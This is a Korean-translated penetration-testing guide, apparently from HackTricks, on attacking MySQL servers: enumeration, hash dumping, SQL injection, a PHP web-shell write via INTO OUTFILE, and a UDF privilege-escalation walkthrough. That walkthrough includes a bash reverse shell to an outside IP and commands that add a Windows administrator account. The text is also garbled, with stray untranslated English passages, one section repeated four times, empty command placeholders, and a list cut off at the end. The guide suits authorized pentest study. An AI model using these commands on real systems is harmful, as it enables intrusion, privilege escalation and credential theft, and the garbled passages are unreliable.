# 3306 - Pentesting Mysql
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! HackTricks를 지원하는 다른 방법: * **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. * 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를** **팔로우**하세요. * **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성 높은 사이버 보안 행사이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술적인 지식을 촉진**하기 위한 미션을 가지고 있으며, 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들의 끓는 만남 지점입니다. {% embed url="https://www.rootedcon.com/" %} ## **기본 정보** **MySQL**는 비용이 없는 오픈 소스 \*\*관계형 데이터베이스 관리 시스템 (RDBMS)\*\*로서 \*\*Structured Query Language (SQL)\*\*에서 작동하여 데이터베이스의 관리 및 조작을 가능하게 합니다. **기본 포트:** 3306 ``` 3306/tcp open mysql ``` ## **연결** ### **로컬** ```bash mysql -u root # Connect to root without password mysql -u root -p # A password will be asked (check someone) ``` ### 원격 MySQL can be accessed remotely through the network. This can be a potential security risk if proper precautions are not taken. In this section, we will discuss some techniques for pentesting remote MySQL services. MySQL은 네트워크를 통해 원격으로 접근할 수 있습니다. 적절한 예방 조치를 취하지 않으면 이는 잠재적인 보안 위험을 초래할 수 있습니다. 이 섹션에서는 원격 MySQL 서비스의 펜테스팅 기법에 대해 논의하겠습니다. #### Default Port By default, MySQL listens on port 3306. This is the port that clients use to connect to the MySQL server. During a pentest, it is important to identify the port on which the MySQL service is running. 기본적으로 MySQL은 3306 포트에서 수신 대기합니다. 이는 클라이언트가 MySQL 서버에 연결하는 데 사용하는 포트입니다. 펜테스트 중에는 MySQL 서비스가 실행 중인 포트를 식별하는 것이 중요합니다. #### Banner Grabbing Banner grabbing is a technique used to gather information about a service by analyzing the banner or response message sent by the service. This can be useful for identifying the version of MySQL running on the remote server. 배너 그래빙은 서비스가 보내는 배너 또는 응답 메시지를 분석하여 서비스에 대한 정보를 수집하는 기술입니다. 이는 원격 서버에서 실행 중인 MySQL 버전을 식별하는 데 유용할 수 있습니다. #### Enumeration Enumeration is the process of gathering information about a target system. In the context of MySQL pentesting, enumeration involves identifying the databases, tables, and columns present on the remote server. This can be done using various techniques such as brute-forcing, SQL injection, or using built-in MySQL commands. 열거는 대상 시스템에 대한 정보를 수집하는 과정입니다. MySQL 펜테스팅의 경우, 열거는 원격 서버에 있는 데이터베이스, 테이블 및 열을 식별하는 것을 의미합니다. 이는 브루트 포싱, SQL 인젝션 또는 내장된 MySQL 명령을 사용하는 등 다양한 기술을 사용하여 수행할 수 있습니다. #### Brute-Forcing Brute-forcing is a technique used to guess passwords by systematically trying all possible combinations until the correct one is found. In the context of MySQL pentesting, brute-forcing can be used to guess the password for the MySQL user accounts. 브루트 포싱은 올바른 비밀번호가 발견될 때까지 가능한 모든 조합을 체계적으로 시도하여 비밀번호를 추측하는 기술입니다. MySQL 펜테스팅의 경우, 브루트 포싱은 MySQL 사용자 계정의 비밀번호를 추측하는 데 사용될 수 있습니다. #### SQL Injection SQL injection is a technique used to exploit vulnerabilities in a web application's database layer. In the context of MySQL pentesting, SQL injection can be used to execute arbitrary SQL queries on the remote MySQL server. SQL 인젝션은 웹 애플리케이션의 데이터베이스 레이어의 취약점을 이용하는 기술입니다. MySQL 펜테스팅의 경우, SQL 인젝션은 원격 MySQL 서버에서 임의의 SQL 쿼리를 실행하는 데 사용될 수 있습니다. #### Privilege Escalation Privilege escalation is the process of gaining higher privileges on a system or application. In the context of MySQL pentesting, privilege escalation can involve gaining administrative access to the MySQL server or obtaining higher privileges within the MySQL database. 권한 상승은 시스템 또는 애플리케이션에서 더 높은 권한을 얻는 과정입니다. MySQL 펜테스팅의 경우, 권한 상승은 MySQL 서버에 대한 관리 권한 획득이나 MySQL 데이터베이스 내에서 더 높은 권한 획득을 포함할 수 있습니다. ```bash mysql -h -u root mysql -h -u root@localhost ``` ## 외부 열거 일부 열거 작업은 유효한 자격 증명이 필요합니다. ```bash nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 msf> use auxiliary/scanner/mysql/mysql_version msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds msf> use auxiliary/admin/mysql/mysql_enum #Creds msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds ``` ### [**무차별 대입 공격**](../generic-methodologies-and-resources/brute-force.md#mysql) ### 이진 데이터 작성하기 ```bash CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY) ``` ## **MySQL 명령어** MySQL is a popular open-source relational database management system. It is widely used in web applications and is known for its speed and reliability. In this section, we will explore some commonly used MySQL commands for database management and manipulation. ### **Connecting to MySQL** To connect to a MySQL database, you can use the following command: ```bash mysql -h -u -p ``` Replace `` with the hostname or IP address of the MySQL server, `` with the username, and `` with the password. ### **Creating a Database** To create a new database, use the `CREATE DATABASE` command: ```sql CREATE DATABASE ; ``` Replace `` with the desired name for the database. ### **Selecting a Database** To select a database to work with, use the `USE` command: ```sql USE ; ``` Replace `` with the name of the database you want to select. ### **Creating a Table** To create a new table in a database, use the `CREATE TABLE` command: ```sql CREATE TABLE ( , , ... ); ``` Replace `` with the desired name for the table, `` with the name of the first column, `` with the data type of the first column, and so on. ### **Inserting Data** To insert data into a table, use the `INSERT INTO` command: ```sql INSERT INTO (, , ...) VALUES (, , ...); ``` Replace `` with the name of the table, `` and `` with the names of the columns you want to insert data into, and ``, ``, etc. with the corresponding values. ### **Querying Data** To retrieve data from a table, use the `SELECT` command: ```sql SELECT , , ... FROM WHERE ; ``` Replace ``, ``, etc. with the names of the columns you want to retrieve, `` with the name of the table, and `` with the condition that the data must meet. ### **Updating Data** To update data in a table, use the `UPDATE` command: ```sql UPDATE SET = , = , ... WHERE ; ``` Replace `` with the name of the table, ``, ``, etc. with the names of the columns you want to update, ``, ``, etc. with the new values, and `` with the condition that the data must meet. ### **Deleting Data** To delete data from a table, use the `DELETE FROM` command: ```sql DELETE FROM WHERE ; ``` Replace `` with the name of the table and `` with the condition that the data must meet. ### **Dropping a Database** To drop a database, use the `DROP DATABASE` command: ```sql DROP DATABASE ; ``` Replace `` with the name of the database you want to drop. These are just a few examples of the many commands available in MySQL. By mastering these commands, you will be able to perform various tasks related to database management and manipulation. ```bash show databases; use ; connect ; show tables; describe ; show columns from ; select version(); #version select @@version(); #version select user(); #User select database(); #database name #Get a shell with the mysql client user \! sh #Basic MySQLi Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables Union Select 1,2,3,4,column_name from information_schema.columns where table_name="
" #Read & Write ## Yo need FILE privilege to read & write to files. select load_file('/var/lib/mysql-files/key.txt'); #Read file select 1,2,"",4 into OUTFILE 'C:/xampp/htdocs/back.php' #Try to change MySQL root password UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root'; UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root'; FLUSH PRIVILEGES; quit; ``` ```bash mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u root -h 127.0.0.1 -e 'show databases;' ``` ### MySQL 권한 열거 MySQL 데이터베이스에 대한 권한 열거는 시스템에 대한 정보를 수집하는 데 도움이 됩니다. 다음은 MySQL 권한을 열거하는 몇 가지 방법입니다. #### 1. SHOW GRANTS 명령어 사용 ```sql SHOW GRANTS FOR 'username'@'localhost'; ``` 위의 명령어를 사용하여 특정 사용자의 권한을 확인할 수 있습니다. 'username'은 확인하려는 사용자의 이름으로 대체되어야 합니다. #### 2. INFORMATION\_SCHEMA 사용 ```sql SELECT * FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE GRANTEE LIKE '%username%'; ``` 위의 쿼리를 사용하여 특정 사용자의 권한을 확인할 수 있습니다. 'username'은 확인하려는 사용자의 이름으로 대체되어야 합니다. #### 3. mysql.user 테이블 사용 ```sql SELECT * FROM mysql.user WHERE User='username'\G ``` 위의 쿼리를 사용하여 특정 사용자의 권한을 확인할 수 있습니다. 'username'은 확인하려는 사용자의 이름으로 대체되어야 합니다. #### 4. SHOW PRIVILEGES 명령어 사용 ```sql SHOW PRIVILEGES; ``` 위의 명령어를 사용하여 MySQL 서버에서 사용 가능한 모든 권한을 확인할 수 있습니다. #### 5. mysql.db 테이블 사용 ```sql SELECT * FROM mysql.db WHERE User='username'\G ``` 위의 쿼리를 사용하여 특정 사용자가 특정 데이터베이스에 대한 권한을 가지고 있는지 확인할 수 있습니다. 'username'은 확인하려는 사용자의 이름으로 대체되어야 합니다. #### 6. SHOW GRANTS FOR CURRENT\_USER() 명령어 사용 ```sql SHOW GRANTS FOR CURRENT_USER(); ``` 위의 명령어를 사용하여 현재 사용자의 권한을 확인할 수 있습니다. #### 7. SHOW GRANTS FOR CURRENT\_USER 명령어 사용 ```sql SHOW GRANTS FOR CURRENT_USER; ``` 위의 명령어를 사용하여 현재 사용자의 권한을 확인할 수 있습니다. #### 8. SHOW GRANTS FOR CURRENT\_USER 명령어 사용 ```sql SHOW GRANTS FOR CURRENT_USER; ``` 위의 명령어를 사용하여 현재 사용자의 권한을 확인할 수 있습니다. #### 9. SHOW GRANTS FOR CURRENT\_USER 명령어 사용 ```sql SHOW GRANTS FOR CURRENT_USER; ``` 위의 명령어를 사용하여 현재 사용자의 권한을 확인할 수 있습니다. #### 10. SHOW GRANTS FOR CURRENT\_USER 명령어 사용 ```sql SHOW GRANTS FOR CURRENT_USER; ``` 위의 명령어를 사용하여 현재 사용자의 권한을 확인할 수 있습니다. ```sql #Mysql SHOW GRANTS [FOR user]; SHOW GRANTS; SHOW GRANTS FOR 'root'@'localhost'; SHOW GRANTS FOR CURRENT_USER(); # Get users, permissions & hashes SELECT * FROM mysql.user; #From DB select * from mysql.user where user='root'; ## Get users with file_priv select user,file_priv from mysql.user where file_priv='Y'; ## Get users with Super_priv select user,Super_priv from mysql.user where Super_priv='Y'; # List functions SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION'; #@ Functions not from sys. db SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys'; ``` 문서에서 각 권한의 의미를 확인할 수 있습니다: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute) ### MySQL 파일 RCE {% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %} [mysql-ssrf.md](../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md) {% endcontent-ref %} ## 클라이언트에 의한 MySQL 임의 파일 읽기 실제로, **로컬 데이터를 테이블로 로드**할 때 MySQL 또는 MariaDB 서버는 **클라이언트에게 파일의 내용을 읽고 내용을 보내도록 요청**합니다. **따라서, mysql 클라이언트를 조작하여 자체 MySQL 서버에 연결하면 임의의 파일을 읽을 수 있습니다.**\ 이는 다음을 사용하여 동작하는 것에 유의하세요: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` (주의: "local"이라는 단어를 참고하세요)\ "local" 없이는 다음과 같은 결과를 얻을 수 있습니다: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` **초기 PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ **이 논문에서는 공격에 대한 완전한 설명과 심지어 RCE로 확장하는 방법까지 볼 수 있습니다:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **여기에서는 공격에 대한 개요를 찾을 수 있습니다:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ​
​​[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성 있는 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 이벤트 중 하나입니다. **기술적인 지식을 촉진하는 미션**을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다. {% embed url="https://www.rootedcon.com/" %} ## POST ### Mysql 사용자 만약 mysql이 **root**로 실행 중이라면 매우 흥미로울 것입니다: ```bash cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 ``` #### mysqld.cnf의 위험한 설정 MySQL 서비스의 구성에서 다양한 설정이 사용되어 작동 및 보안 조치가 정의됩니다: * **`user`** 설정은 MySQL 서비스가 실행될 사용자를 지정하는 데 사용됩니다. * \*\*`password`\*\*는 MySQL 사용자와 관련된 암호를 설정하는 데 사용됩니다. * \*\*`admin_address`\*\*는 관리 네트워크 인터페이스에서 TCP/IP 연결을 수신하는 IP 주소를 지정합니다. * **`debug`** 변수는 현재 디버깅 구성을 나타내며 로그에 민감한 정보를 포함합니다. * \*\*`sql_warnings`\*\*는 경고가 발생할 때 단일 행 INSERT 문에 대한 정보 문자열이 생성되는지 여부를 관리하며 로그에 민감한 데이터가 포함됩니다. * \*\*`secure_file_priv`\*\*를 사용하여 데이터 가져오기 및 내보내기 작업의 범위를 제한하여 보안을 강화할 수 있습니다. ### 권한 상승 ```bash # Get current user (an all users) privileges and hashes use mysql; select user(); select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user; # Get users, permissions & creds SELECT * FROM mysql.user; mysql -u root --password= -e "SELECT * FROM mysql.user;" # Create user and give privileges create user test identified by 'test'; grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION; # Get a shell (with your permissions, usefull for sudo/suid privesc) \! sh ``` ### 라이브러리를 통한 권한 상승 만약 **mysql 서버가 root로 실행 중**이거나 다른 더 권한이 있는 사용자로 실행 중이라면, 명령을 실행할 수 있습니다. 이를 위해서는 **사용자 정의 함수**를 사용해야 합니다. 그리고 mysql을 실행 중인 운영 체제에 필요한 **라이브러리**를 생성해야 합니다. 악성 라이브러리는 sqlmap과 metasploit 내에서 **`locate "*lib_mysqludf_sys*"`** 명령을 실행하여 찾을 수 있습니다. **`.so`** 파일은 **리눅스** 라이브러리이고 **`.dll`** 파일은 **Windows**용입니다. 필요한 파일을 선택하세요. 만약 해당 라이브러리를 **가지고 있지 않다면**, 라이브러리를 **찾아보거나**, 이 [**리눅스 C 코드**](https://www.exploit-db.com/exploits/1518)를 다운로드하여 **취약한 리눅스 머신 내에서 컴파일**할 수 있습니다. ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` 이제 라이브러리를 가지고 있으므로, 특권 사용자(root?)로 Mysql에 로그인하고 다음 단계를 따르십시오: #### Linux ```sql # Use a database use mysql; # Create a table to load the library and move it to the plugins dir create table npn(line blob); # Load the binary library inside the table ## You might need to change the path and file name insert into npn values(load_file('/tmp/lib_mysqludf_sys.so')); # Get the plugin_dir path show variables like '%plugin%'; # Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ # dump in there the library select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so'; # Create a function to execute commands create function sys_exec returns integer soname 'lib_mysqludf_sys.so'; # Execute commands select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt'); select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"'); ``` #### 윈도우 **MySQL 서비스 검사** MySQL 서비스는 일반적으로 3306 포트에서 실행됩니다. 다음 명령을 사용하여 MySQL 서비스가 실행 중인지 확인할 수 있습니다. ```bash netstat -ano | findstr :3306 ``` 만약 MySQL 서비스가 실행 중이라면, 다음 단계를 따라 MySQL 서비스에 대한 펜테스트를 수행할 수 있습니다. **MySQL 서비스 펜테스트** 1. **MySQL 서비스 버전 확인** MySQL 서비스의 버전을 확인하기 위해 다음 명령을 사용할 수 있습니다. ```bash mysql -V ``` 2. **MySQL 서비스에 대한 기본 연결** MySQL 서비스에 대한 기본 연결을 수행하기 위해 다음 명령을 사용할 수 있습니다. ```bash mysql -h <호스트> -P <포트> -u <사용자> -p ``` * `<호스트>`: MySQL 서비스가 실행 중인 호스트의 IP 주소 또는 도메인 이름 * `<포트>`: MySQL 서비스가 실행 중인 포트 번호 (일반적으로 3306) * `<사용자>`: MySQL 서비스에 연결할 사용자 이름 이 명령을 실행하면 MySQL 서비스에 대한 기본 연결이 수행됩니다. 비밀번호를 입력하라는 메시지가 표시되면, 올바른 비밀번호를 입력하십시오. 3. **MySQL 서비스에 대한 익명 연결** MySQL 서비스에 대한 익명 연결을 시도하여 익명 사용자로 로그인할 수 있는지 확인할 수 있습니다. 다음 명령을 사용하십시오. ```bash mysql -h <호스트> -P <포트> -u anonymous ``` * `<호스트>`: MySQL 서비스가 실행 중인 호스트의 IP 주소 또는 도메인 이름 * `<포트>`: MySQL 서비스가 실행 중인 포트 번호 (일반적으로 3306) 이 명령을 실행하면 익명 사용자로 MySQL 서비스에 연결됩니다. 비밀번호를 입력하지 않아도 연결이 성공한다면, MySQL 서비스에 대한 익명 연결이 허용되는 것입니다. 4. **MySQL 서비스 사용자 계정 테스트** MySQL 서비스에 대한 사용자 계정을 테스트하기 위해 다음 명령을 사용할 수 있습니다. ```bash mysql -h <호스트> -P <포트> -u <사용자> -p ``` * `<호스트>`: MySQL 서비스가 실행 중인 호스트의 IP 주소 또는 도메인 이름 * `<포트>`: MySQL 서비스가 실행 중인 포트 번호 (일반적으로 3306) * `<사용자>`: 테스트할 사용자 계정 이름 이 명령을 실행하면 해당 사용자 계정으로 MySQL 서비스에 연결됩니다. 비밀번호를 입력하라는 메시지가 표시되면, 올바른 비밀번호를 입력하십시오. 5. **MySQL 서비스 데이터베이스 및 테이블 확인** MySQL 서비스에 연결된 후, 다음 명령을 사용하여 데이터베이스 및 테이블을 확인할 수 있습니다. ```bash SHOW DATABASES; ``` ```bash USE <데이터베이스>; SHOW TABLES; ``` * `<데이터베이스>`: 확인할 데이터베이스 이름 이 명령을 실행하면 MySQL 서비스에 연결된 데이터베이스 및 해당 데이터베이스의 테이블 목록이 표시됩니다. 6. **MySQL 서비스 데이터베이스 및 테이블 내용 확인** MySQL 서비스에 연결된 후, 다음 명령을 사용하여 데이터베이스 및 테이블의 내용을 확인할 수 있습니다. ```bash USE <데이터베이스>; SELECT * FROM <테이블>; ``` * `<데이터베이스>`: 확인할 데이터베이스 이름 * `<테이블>`: 확인할 테이블 이름 이 명령을 실행하면 해당 테이블의 모든 레코드가 표시됩니다. ```sql # CHech the linux comments for more indications USE mysql; CREATE TABLE npn(line blob); INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll')); show variables like '%plugin%'; SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll'; CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` ### 파일에서 MySQL 자격 증명 추출하기 _/etc/mysql/debian.cnf_ 내부에는 사용자 **debian-sys-maint**의 **평문 암호**를 찾을 수 있습니다. ```bash cat /etc/mysql/debian.cnf ``` 다음 자격 증명을 사용하여 mysql 데이터베이스에 로그인할 수 있습니다. 파일 내부: _/var/lib/mysql/mysql/user.MYD_ 에서 **모든 MySQL 사용자의 해시를 찾을 수 있습니다** (데이터베이스 내부의 mysql.user에서 추출할 수 있는 해시들)_._ 추출하는 방법은 다음과 같습니다: ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` ### 로깅 활성화 `/etc/mysql/my.cnf` 내부에서 mysql 쿼리의 로깅을 활성화할 수 있습니다. 다음 라인들을 주석 해제하면 됩니다: ![](<../.gitbook/assets/image (277).png>) ### 유용한 파일들 구성 파일 * windows \* * config.ini * my.ini * windows\my.ini * winnt\my.ini * \/mysql/data/ * unix * my.cnf * /etc/my.cnf * /etc/mysql/my.cnf * /var/lib/mysql/my.cnf * \~/.my.cnf * /etc/my.cnf * 명령 히스토리 * \~/.mysql.history * 로그 파일 * connections.log * update.log * common.log ## 기본 MySQL 데이터베이스/테이블 ALL\_PLUGINS\ APPLICABLE\_ROLES\ CHARACTER\_SETS\ CHECK\_CONSTRAINTS\ COLLATIONS\ COLLATION\_CHARACTER\_SET\_APPLICABILITY\ COLUMNS\ COLUMN\_PRIVILEGES\ ENABLED\_ROLES\ ENGINES\ EVENTS\ FILES\ GLOBAL\_STATUS\ GLOBAL\_VARIABLES\ KEY\_COLUMN\_USAGE\ KEY\_CACHES\ OPTIMIZER\_TRACE\ PARAMETERS\ PARTITIONS\ PLUGINS\ PROCESSLIST\ PROFILING\ REFERENTIAL\_CONSTRAINTS\ ROUTINES\ SCHEMATA\ SCHEMA\_PRIVILEGES\ SESSION\_STATUS\ SESSION\_VARIABLES\ STATISTICS\ SYSTEM\_VARIABLES\ TABLES\ TABLESPACES\ TABLE\_CONSTRAINTS\ TABLE\_PRIVILEGES\ TRIGGERS\ USER\_PRIVILEGES\ VIEWS\ INNODB\_LOCKS\ INNODB\_TRX\ INNODB\_SYS\_DATAFILES\ INNODB\_FT\_CONFIG\ INNODB\_SYS\_VIRTUAL\ INNODB\_CMP\ INNODB\_FT\_BEING\_DELETED\ INNODB\_CMP\_RESET\ INNODB\_CMP\_PER\_INDEX\ INNODB\_CMPMEM\_RESET\ INNODB\_FT\_DELETED\ INNODB\_BUFFER\_PAGE\_LRU\ INNODB\_LOCK\_WAITS\ INNODB\_TEMP\_TABLE\_INFO\ INNODB\_SYS\_INDEXES\ INNODB\_SYS\_TABLES\ INNODB\_SYS\_FIELDS\ INNODB\_CMP\_PER\_INDEX\_RESET\ INNODB\_BUFFER\_PAGE\ INNODB\_FT\_DEFAULT\_STOPWORD\ INNODB\_FT\_INDEX\_TABLE\ INNODB\_FT\_INDEX\_CACHE\ INNODB\_SYS\_TABLESPACES\ INNODB\_METRICS\ INNODB\_SYS\_FOREIGN\_COLS\ INNODB\_CMPMEM\ INNODB\_BUFFER\_POOL\_STATS\ INNODB\_SYS\_COLUMNS\ INNODB\_SYS\_FOREIGN\ INNODB\_SYS\_TABLESTATS\ GEOMETRY\_COLUMNS\ SPATIAL\_REF\_SYS\ CLIENT\_STATISTICS\ INDEX\_STATISTICS\ USER\_STATISTICS\ INNODB\_MUTEXES\ TABLE\_STATISTICS\ INNODB\_TABLESPACES\_ENCRYPTION\ user\_variables\ INNODB\_TABLESPACES\_SCRUBBING\ INNODB\_SYS\_SEMAPHORE\_WAITS columns\_priv\ column\_stats\ db\ engine\_cost\ event\ func\ general\_log\ gtid\_executed\ gtid\_slave\_pos\ help\_category\ help\_keyword\ help\_relation\ help\_topic\ host\ index\_stats\ innodb\_index\_stats\ innodb\_table\_stats\ ndb\_binlog\_index\ plugin\ proc\ procs\_priv\ proxies\_priv\ roles\_mapping\ server\_cost\ servers\ slave\_master\_info\ slave\_relay\_log\_info\ slave\_worker\_info\ slow\_log\ tables\_priv\ table\_stats\ time\_zone\ time\_zone\_leap\_second\ time\_zone\_name\ time\_zone\_transition\ time\_zone\_transition\_type\ transaction\_registry\ user accounts\ cond\_instances\ events\_stages\_current\ events\_stages\_history\ events\_stages\_history\_long\ events\_stages\_summary\_by\_account\_by\_event\_name\ events\_stages\_summary\_by\_host\_by\_event\_name\ events\_stages\_summary\_by\_thread\_by\_event\_name\ events\_stages\_summary\_by\_user\_by\_event\_name\ events\_stages\_summary\_global\_by\_event\_name\ events\_statements\_current\ events\_statements\_history\ events\_statements\_history\_long\ events\_statements\_summary\_by\_account\_by\_event\_name\ events\_statements\_summary\_by\_digest\ events\_statements\_summary\_by\_host\_by\_event\_name\ events\_statements\_summary\_by\_program\ events\_statements\_summary\_by\_thread\_by\_event\_name\ events\_statements\_summary\_by\_user\_by\_event\_name\ events\_statements\_summary\_global\_by\_event\_name\ events\_transactions\_current\ events\_transactions\_history\ events\_transactions\_history\_long\ events\_transactions\_summary\_by\_account\_by\_event\_name\ events\_transactions\_summary\_by\_host\_by\_event\_name\ events\_transactions\_summary\_by\_thread\_by\_event\_name\ events\_transactions\_summary\_by\_user\_by\_event\_name\ events\_transactions\_summary\_global\_by\_event\_name\ events\_waits\_current\ events\_waits\_history\ events\_waits\_history\_long\ events\_waits\_summary\_by\_account\_by\_event\_name\ events\_waits\_summary\_by\_host\_by\_event\_name\ events\_waits\_summary\_by\_instance\ events\_waits\_summary\_by\_thread\_by\_event\_name\ events\_waits\_summary\_by\_user\_by\_event\_name\ events\_waits\_summary\_global\_by\_event\_name\ file\_instances\ file\_summary\_by\_event\_name\ file\_summary\_by\_instance\ global\_status\ global\_variables\ host\_cache\ hosts\ memory\_summary\_by\_account\_by\_event\_name\ memory\_summary\_by\_host\_by\_event\_name\ memory\_summary\_by\_thread\_by\_event\_name\ memory\_summary\_by\_user\_by\_event\_name\ memory\_summary\_global\_by\_event\_name\ metadata\_locks\ mutex\_instances\ objects\_summary\_global\_by\_type\ performance\_timers\ prepared\_statements\_instances\ replication\_applier\_configuration\ replication\_applier\_status\ replication\_applier\_status\_by\_coordinator\ replication\_applier\_status\_by\_worker\ replication\_connection\_configuration\ replication\_connection\_status\ replication\_group\_member\_stats\ replication\_group\_members\ rwlock\_instances\ session\_account\_connect\_attrs\ session\_connect\_attrs\ session\_status\ session\_variables\ setup\_actors\ setup\_consumers\ setup\_instruments\ setup\_objects\ setup\_timers\ socket\_instances\ socket\_summary\_by\_event\_name\ socket\_summary\_by\_instance\ status\_by\_account\ status\_by\_host\ status\_by\_thread\ status\_by\_user\ table\_handles\ table\_io\_waits\_summary\_by\_index\_usage\ table\_io\_waits\_summary\_by\_table\ table\_lock\_waits\_summary\_by\_table\ threads\ user\_variables\_by\_thread\ users\ variables\_by\_thread host\_summary\ host\_summary\_by\_file\_io\ host\_summary\_by\_file\_io\_type\ host\_summary\_by\_stages\ host\_summary\_by\_statement\_latency\ host\_summary\_by\_statement\_type\ innodb\_buffer\_stats\_by\_schema\ innodb\_buffer\_stats\_by\_table\ innodb\_lock\_waits\ io\_by\_thread\_by\_latency\ io\_global\_by\_file\_by\_bytes\ io\_global\_by\_file\_by\_latency\ io\_global\_by\_wait\_by\_bytes\ io\_global\_by\_wait\_by\_latency\ latest\_file\_io\ memory ## HackTricks 자동 명령어 ### schema\_table\_statistics * 스키마와 테이블의 통계 정보를 제공합니다. ### schema\_table\_statistics\_with\_buffer * 버퍼를 사용한 스키마와 테이블의 통계 정보를 제공합니다. ### schema\_tables\_with\_full\_table\_scans * 전체 테이블 스캔을 수행하는 스키마와 테이블의 목록을 제공합니다. ### schema\_unused\_indexes * 사용되지 않는 인덱스를 가진 스키마와 테이블의 목록을 제공합니다. ### session * 현재 세션의 정보를 제공합니다. ### session\_ssl\_status * SSL 연결 상태에 대한 세션 정보를 제공합니다. ### statement\_analysis * SQL 문장 분석 결과를 제공합니다. ### statements\_with\_errors\_or\_warnings * 오류 또는 경고가 포함된 SQL 문장의 목록을 제공합니다. ### statements\_with\_full\_table\_scans * 전체 테이블 스캔을 수행하는 SQL 문장의 목록을 제공합니다. ### statements\_with\_runtimes\_in\_95th\_percentile * 실행 시간이 상위 95%에 해당하는 SQL 문장의 목록을 제공합니다. ### statements\_with\_sorting * 정렬을 수행하는 SQL 문장의 목록을 제공합니다. ### statements\_with\_temp\_tables * 임시 테이블을 사용하는 SQL 문장의 목록을 제공합니다. ### sys\_config * 시스템 구성 정보를 제공합니다. ### user\_summary * 사용자 요약 정보를 제공합니다. ### user\_summary\_by\_file\_io * 파일 I/O에 따른 사용자 요약 정보를 제공합니다. ### user\_summary\_by\_file\_io\_type * 파일 I/O 유형에 따른 사용자 요약 정보를 제공합니다. ### user\_summary\_by\_stages * 단계별 사용자 요약 정보를 제공합니다. ### user\_summary\_by\_statement\_latency * 문장 지연에 따른 사용자 요약 정보를 제공합니다. ### user\_summary\_by\_statement\_type * 문장 유형에 따른 사용자 요약 정보를 제공합니다. ### version * MySQL 버전 정보를 제공합니다. ### wait\_classes\_global\_by\_avg\_latency * 평균 대기 시간에 따른 전역 대기 클래스 정보를 제공합니다. ### wait\_classes\_global\_by\_latency * 대기 시간에 따른 전역 대기 클래스 정보를 제공합니다. ### waits\_by\_host\_by\_latency * 호스트 및 대기 시간에 따른 대기 정보를 제공합니다. ### waits\_by\_user\_by\_latency * 사용자 및 대기 시간에 따른 대기 정보를 제공합니다. ### waits\_global\_by\_latency * 대기 시간에 따른 전역 대기 정보를 제공합니다. ### x$host\_summary * 호스트 